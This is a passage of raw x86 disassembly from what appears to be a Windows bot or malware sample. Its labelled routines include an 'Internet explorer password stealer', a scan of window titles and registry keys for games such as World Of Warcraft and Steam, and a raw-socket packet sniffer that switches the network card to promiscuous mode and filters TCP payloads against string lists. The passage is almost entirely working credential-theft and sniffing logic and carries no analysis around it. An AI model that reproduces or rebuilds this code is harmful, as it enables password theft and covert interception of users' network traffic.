; ---------------------------------------------------------------------------


loc_415842:				; CODE XREF: sub_414EF4+6EEj
					; sub_414EF4+820j
		push	offset aE161255a ; "e161255a"
		lea	eax, [ebp-0A48h]
		push	eax
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	loc_4159E0
		push	offset aStringindex ; "StringIndex"
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4159E0
		push	offset dword_41D4EC
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4158A4
		push	offset dword_41D4EC
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_417100	; lstrcpynA
		push	offset dword_41D4E4
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset dword_41D4DC
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D494
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------


loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DF00
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset dword_41D54C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D54C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset dword_41D54C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D438
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------


loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------


loc_415A35:				; CODE XREF: sub_414EF4+326j
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------


loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D3FC
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]


loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_41DF50, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: UPX0:00416FB6p
					; UPX0:00416FBFp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax


loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	ds:dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1


loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1


loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1


loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1


loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	ds:dword_417028	; RegCloseKey
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1


loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	ds:dword_417028	; RegCloseKey
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"


loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------


loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"


loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------


loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"


loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------


loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"


loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------


loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"


loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D67C
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------


loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------


loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7AC
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D808
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D87C
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D8C0
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax


loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	ds:dword_417218	; socket
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	ds:dword_417260	; gethostname
		lea	eax, [ebp+var_1254]
		push	eax
		call	ds:dword_41723C	; gethostbyname
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	ds:dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	ds:dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41DA8C
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	ds:dword_417244	; inet_addr
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1258],	ax


loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	ds:dword_417248	; recv
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E


loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh


loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
